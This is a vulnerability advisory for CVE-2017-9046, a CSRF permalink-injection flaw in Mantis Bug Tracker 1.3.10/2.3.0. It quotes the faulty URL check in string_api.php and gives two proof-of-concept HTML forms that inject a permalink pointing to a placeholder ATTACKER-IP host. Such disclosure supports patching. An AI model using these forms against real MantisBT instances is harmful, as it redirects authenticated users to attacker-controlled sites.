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CVE-2017-9046 Mantis Bug Tracker 1.3.10 / v2.3.0 CSRF Permalink Injection

[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec            


Mantis Bug Tracker
1.3.10 / v2.3.0

MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.

Vulnerability Type:
CSRF Permalink Injection

CVE Reference:

Security Issue:
Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.

Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
Line: 270

# Check for URL's pointing to other domains

if( 0 == $t_type || empty( $t_matches['script'] ) ||
    3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {


    return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';


# Start extracting regex matches

$t_script = $t_matches['script'];       
$t_script_path = $t_matches['path'];

<form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP"; method="POST">


<form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0"; method="POST">

Network Access:


Disclosure Timeline:
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure

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